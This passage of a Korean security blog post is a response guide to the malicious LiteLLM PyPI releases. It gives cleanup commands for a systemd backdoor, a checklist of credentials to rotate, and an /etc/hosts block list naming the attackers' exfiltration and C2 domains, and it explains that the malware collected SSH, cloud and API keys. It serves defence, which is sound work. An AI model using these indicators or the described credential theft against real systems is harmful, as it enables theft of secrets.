&lt;p style=&quot;font-size: 13px; color: #888; margin-bottom: 15px;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: &lt;a href=&quot;https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;FutureSearch&lt;/a&gt;, &lt;a href=&quot;https://github.com/BerriAI/litellm/issues/24512&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Issue #24512&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 지금 당장 해야 할 대응 방법&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;감염 버전이 확인되었다면 아래 순서대로 대응한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2022&quot; data-origin-height=&quot;1096&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eanOEn/dJMcaaEK25Z/1yN1gy4BPk74i1A34oCuvK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eanOEn/dJMcaaEK25Z/1yN1gy4BPk74i1A34oCuvK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eanOEn/dJMcaaEK25Z/1yN1gy4BPk74i1A34oCuvK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeanOEn%2FdJMcaaEK25Z%2F1yN1gy4BPk74i1A34oCuvK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2022&quot; height=&quot;1096&quot; data-origin-width=&quot;2022&quot; data-origin-height=&quot;1096&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 1: 즉시 삭제&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 15px 0 25px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 감염 버전 제거&lt;/span&gt;&lt;br /&gt;pip uninstall litellm -y&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 패키지 매니저 캐시 삭제&lt;/span&gt;&lt;br /&gt;rm -rf ~/.cache/uv&lt;br /&gt;rm -rf ~/.cache/pip&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 안전한 버전으로 재설치 (PyPI 격리 해제 후)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 2026-03-26 현재 전체 패키지 격리 중 &amp;mdash; 아래 명령은 격리 해제 후 실행&lt;/span&gt;&lt;br /&gt;pip install litellm==1.82.6&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 2: 백도어 제거&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 15px 0 25px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 로컬 백도어 파일 제거&lt;/span&gt;&lt;br /&gt;rm -rf ~/.config/sysmon/&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# systemd 서비스 중지 및 제거&lt;/span&gt;&lt;br /&gt;systemctl --user stop sysmon.service 2&amp;gt;/dev/null&lt;br /&gt;systemctl --user disable sysmon.service 2&amp;gt;/dev/null&lt;br /&gt;rm -f ~/.config/systemd/user/sysmon.service&lt;br /&gt;systemctl --user daemon-reload&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 쿠버네티스: 의심스러운 Pod 탐지 (이름 패턴 + 이미지 기준)&lt;/span&gt;&lt;br /&gt;kubectl get pods -n kube-system -o wide | grep -E &quot;node-setup|alpine&quot;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 의심 Pod 확인 후 개별 삭제 (이름, 이미지, 생성 시각을 반드시 확인)&lt;/span&gt;&lt;br /&gt;kubectl delete pod -n kube-system &amp;lt;pod-name&amp;gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2012&quot; data-origin-height=&quot;1104&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cDdmJH/dJMcaf0j0QN/VikYU9A7skgCeRqyKd9DMk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cDdmJH/dJMcaf0j0QN/VikYU9A7skgCeRqyKd9DMk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cDdmJH/dJMcaf0j0QN/VikYU9A7skgCeRqyKd9DMk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcDdmJH%2FdJMcaf0j0QN%2FVikYU9A7skgCeRqyKd9DMk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2012&quot; height=&quot;1104&quot; data-origin-width=&quot;2012&quot; data-origin-height=&quot;1104&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 3: 모든 인증 정보 교체&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;감염 환경에 있던 &lt;b&gt;모든 인증 정보&lt;/b&gt;가 유출되었다고 가정하고 교체한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;교체 필수 목록&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;SSH 키&lt;/b&gt; &amp;mdash; 새 키 쌍 생성 후 모든 서버에 재배포&lt;/li&gt;
&lt;li&gt;&lt;b&gt;클라우드 인증 정보&lt;/b&gt; &amp;mdash; AWS Access Key, GCP ADC, Azure 토큰 전부 재발급&lt;/li&gt;
&lt;li&gt;&lt;b&gt;쿠버네티스 설정&lt;/b&gt; &amp;mdash; kubeconfig 재생성, 서비스 어카운트 토큰 로테이션&lt;/li&gt;
&lt;li&gt;&lt;b&gt;API 키&lt;/b&gt; &amp;mdash; .env 파일에 저장된 모든 API 키 (OpenAI, Anthropic, Google 등)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;데이터베이스 비밀번호&lt;/b&gt; &amp;mdash; 환경변수나 설정 파일에 있던 모든 DB 비밀번호&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Git 토큰&lt;/b&gt; &amp;mdash; .gitconfig에 저장된 GitHub/GitLab 개인 액세스 토큰&lt;/li&gt;
&lt;li&gt;&lt;b&gt;CI/CD 시크릿&lt;/b&gt; &amp;mdash; 감염 환경의 CI/CD 파이프라인에서 사용하던 모든 시크릿&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 4: 네트워크 차단&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 15px 0 25px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 공격자 도메인으로의 아웃바운드 트래픽 차단&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# /etc/hosts 또는 방화벽 규칙에 추가&lt;/span&gt;&lt;br /&gt;echo &quot;0.0.0.0 models.litellm.cloud&quot; | sudo tee -a /etc/hosts&lt;br /&gt;echo &quot;0.0.0.0 checkmarx.zone&quot; | sudo tee -a /etc/hosts&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# models.litellm.cloud = 데이터 유출 서버&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# checkmarx.zone = 백도어 C2 폴링 서버 (50분 간격)&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;font-size: 13px; color: #888; margin-bottom: 15px;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: &lt;a href=&quot;https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;FutureSearch&lt;/a&gt; 대응 가이드, &lt;a href=&quot;https://www.microsoft.com/en-us/security/blog/2026/03/24/detecting-investigating-defending-against-trivy-supply-chain-compromise/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Microsoft Security Blog&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 교훈 &amp;mdash; 바이브 코딩 시대의 공급망 보안&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2020&quot; data-origin-height=&quot;1102&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Fj3vt/dJMcadOVUT9/muUJbnUdJST4Sws3kCGiY1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Fj3vt/dJMcadOVUT9/muUJbnUdJST4Sws3kCGiY1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Fj3vt/dJMcadOVUT9/muUJbnUdJST4Sws3kCGiY1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFj3vt%2FdJMcadOVUT9%2FmuUJbnUdJST4Sws3kCGiY1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2020&quot; height=&quot;1102&quot; data-origin-width=&quot;2020&quot; data-origin-height=&quot;1102&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;바이브 코딩이 공격 표면을 넓힌다&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 사건에서 가장 주목할 점은 FutureSearch의 발견 경위다. Cursor에서 MCP 플러그인을 사용했을 뿐인데, LiteLLM이 간접 의존성으로 자동 설치되었다. 본인이 &lt;code&gt;pip install litellm&lt;/code&gt;을 타이핑한 적이 없다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;바이브 코딩 환경에서는 AI 에이전트가 패키지를 자동으로 설치한다. 사용자가 설치 목록을 일일이 확인하지 않는다. 이 자동화된 신뢰가 공급망 공격의 핵심 공격 표면이 된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;보안 도구의 역설&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;TeamPCP의 전략은 보안 도구를 먼저 감염시키는 것이다. Trivy는 코드의 보안 취약점을 스캔하는 도구다. 기업들은 &quot;보안을 위해&quot; 이 도구를 CI/CD에 추가한다. 그런데 이 보안 도구 자체가 감염되면, 보안을 강화하려는 행위 자체가 인증 정보를 유출하는 행위가 된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;키 집중 관리의 양면성&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;LiteLLM이 타겟이 된 이유는 명확하다. 100개 이상의 AI 서비스 API 키를 한곳에서 관리하는 도구이기 때문이다. 키를 한곳에 모으면 관리는 편해지지만, 그 한곳이 뚫리면 모든 키가 동시에 유출된다. 편의성과 보안의 근본적 긴장이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2020&quot; data-origin-height=&quot;1108&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cr8l3I/dJMcafe0Prs/8ikgedOCpNUh4fPwTESiYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cr8l3I/dJMcafe0Prs/8ikgedOCpNUh4fPwTESiYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cr8l3I/dJMcafe0Prs/8ikgedOCpNUh4fPwTESiYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcr8l3I%2FdJMcafe0Prs%2F8ikgedOCpNUh4fPwTESiYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2020&quot; height=&quot;1108&quot; data-origin-width=&quot;2020&quot; data-origin-height=&quot;1108&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;b&gt;&lt;br /&gt;방어를 위한 실전 체크리스트&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;의존성 고정&lt;/b&gt; &amp;mdash; &lt;code&gt;pip install litellm&lt;/code&gt; 대신 &lt;code&gt;pip install litellm==1.82.6&lt;/code&gt;처럼 버전을 명시하고, lockfile을 사용한다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;GitHub Action 태그 고정&lt;/b&gt; &amp;mdash; &lt;code&gt;uses: aquasecurity/trivy-action@v0.X&lt;/code&gt; 대신 커밋 SHA를 고정한다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;CI/CD 시크릿 최소 권한&lt;/b&gt; &amp;mdash; PyPI 업로드 토큰은 해당 job에서만 접근 가능하도록 범위를 제한한다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;간접 의존성 모니터링&lt;/b&gt; &amp;mdash; &lt;code&gt;pip list&lt;/code&gt;나 &lt;code&gt;uv pip list&lt;/code&gt;를 정기적으로 확인하여 예상치 못한 패키지가 설치되었는지 검사한다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;네트워크 이그레스 제한&lt;/b&gt; &amp;mdash; 프로덕션 환경에서 알려진 도메인 이외로의 아웃바운드 트래픽을 차단한다&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 트러블슈팅 Q&amp;amp;A&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; color: #1a3a52; margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;Q. pip show litellm 했는데 버전이 1.82.6 이하이다. 안전한가?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;감염 버전은 1.82.7과 1.82.8이다. 1.82.6 이하라면 이번 사건의 직접적 영향은 없다. 다만 캐시에 감염 파일이 남아 있을 수 있으니 &lt;code&gt;find ~/.cache -name &quot;litellm_init.pth&quot;&lt;/code&gt;로 추가 확인한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; color: #1a3a52; margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;Q. litellm이 설치되어 있지 않다. 완전히 안전한가?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 LiteLLM 사건에 대해서는 안전하다. 하지만 TeamPCP의 캠페인은 LiteLLM만이 아니다. Trivy, KICS(Checkmarx)도 감염되었고, Endor Labs는 &quot;이 캠페인은 아직 끝나지 않았다&quot;고 경고했다. CI/CD에서 Trivy GitHub Action이나 KICS GitHub Action을 사용하고 있다면 해당 사건도 별도로 확인해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; color: #1a3a52; margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;Q. macOS에서도 systemd 백도어가 작동하는가?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;macOS에는 systemd가 없으므로 systemd 경로의 백도어는 작동하지 않는다. 하지만 Stage 1(인증 정보 수집)과 Stage 2(외부 전송)는 OS에 관계없이 실행된다. macOS 사용자도 감염 버전이 설치되었다면 인증 정보가 유출되었을 가능성이 있다. &lt;code&gt;~/.config/sysmon/&lt;/code&gt; 디렉토리가 존재하는지 확인한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; color: #1a3a52; margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;Q. Docker 컨테이너 안에서만 litellm을 사용했다. 호스트도 위험한가?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컨테이너 안에서만 실행했다면 호스트 파일시스템의 인증 정보는 안전할 가능성이 높다. 하지만 컨테이너에 마운트된 시크릿, 환경변수로 전달된 API 키, 쿠버네티스 서비스 어카운트 토큰은 유출 대상이다. 컨테이너 내부에서 접근 가능했던 모든 인증 정보를 교체한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; color: #1a3a52; margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;Q. 현재 LiteLLM을 계속 사용해도 되는가?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2026년 3월 26일 현재, &lt;b&gt;litellm 전체 패키지가 PyPI에서 격리 중&lt;/b&gt;이다. 감염 버전뿐 아니라 모든 버전이 &lt;code&gt;pip install litellm&lt;/code&gt;으로 설치할 수 없다. 이미 설치된 1.82.6 이하는 그 자체로는 안전하지만, PyPI에서 새로 받을 수는 없다. BerriAI는 관리자 계정을 전체 교체했고, 공급망 검토 완료 시까지 새 릴리스를 중단한 상태다. Trusted Publishers(OIDC)로의 마이그레이션도 논의 중이다. &lt;a href=&quot;https://github.com/BerriAI/litellm/issues/24518&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;BerriAI 공식 대응 이슈(#24518)&lt;/a&gt;와 &lt;a href=&quot;https://docs.litellm.ai/blog/security-update-march-2026&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 보안 공지&lt;/a&gt;를 추적한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; color: #1a3a52; margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;Q. 노출 시간이 약 5시간이었는데, 실제로 영향 받은 사람이 많을까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;LiteLLM 공식 공지 기준 영향 시간대는 10:39~16:00 UTC (약 5시간 20분)이다. 일 다운로드 340만 회 기준으로, 5시간이면 약 70만 다운로드에 해당할 수 있다 (단순 비율 추정). 모든 다운로드가 감염 버전을 받은 것은 아니지만, CI/CD 파이프라인에서 &lt;code&gt;pip install litellm&lt;/code&gt;(버전 미고정)을 실행하는 환경은 자동으로 최신 버전을 받았을 가능성이 있다. 정확한 피해 규모는 아직 공개되지 않았다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 10 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;언제 경계해야 하는가 / 언제 안심할 수 있는가&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0 25px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;위험도&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;행동&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;litellm 1.82.7 또는 1.82.8 설치됨&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; color: #dc3545; font-weight: 600;&quot;&gt;긴급&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;즉시 삭제 + 백도어 제거 + 모든 인증 정보 교체&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;litellm 설치되어 있으나 다른 버전&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; color: #ffc107; font-weight: 600;&quot;&gt;주의&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;캐시에 감염 파일 없는지 확인, 버전 고정 설정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;litellm 미설치, CI/CD에서 Trivy 사용&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; color: #ffc107; font-weight: 600;&quot;&gt;주의&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Trivy 사건 별도 대응 필요 (3월 19일~)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;litellm 미설치, Trivy 미사용&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; color: #28a745;&quot;&gt;낮음&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;간접 의존성 점검, 의존성 고정 습관화&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;오늘 / 이번 주 / 운영에 반영할 것&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 5px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;오늘:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 5px 0 15px 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;pip show litellm&lt;/code&gt; 실행하여 버전 확인&lt;/li&gt;
&lt;li&gt;감염 환경이면 Step 1~4 즉시 수행&lt;/li&gt;
&lt;li&gt;&lt;code&gt;models.litellm.cloud&lt;/code&gt; 도메인 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 5px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 5px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이번 주:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 5px 0 15px 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;모든 프로젝트의 의존성 lockfile 점검 (requirements.txt, poetry.lock, uv.lock)&lt;/li&gt;
&lt;li&gt;CI/CD에서 사용하는 GitHub Action 태그를 커밋 SHA로 교체&lt;/li&gt;
&lt;li&gt;CI/CD 시크릿의 접근 범위 최소화&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 5px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 5px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;운영에 반영:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 5px 0 15px 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;프로덕션 환경의 이그레스 트래픽을 화이트리스트 방식으로 제한&lt;/li&gt;
&lt;li&gt;의존성 업데이트 시 자동화된 보안 스캔 적용 (단, 스캔 도구 자체도 검증 필요)&lt;/li&gt;
&lt;li&gt;API 키 집중 관리 도구 사용 시 키 로테이션 주기 단축 및 접근 로그 모니터링&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
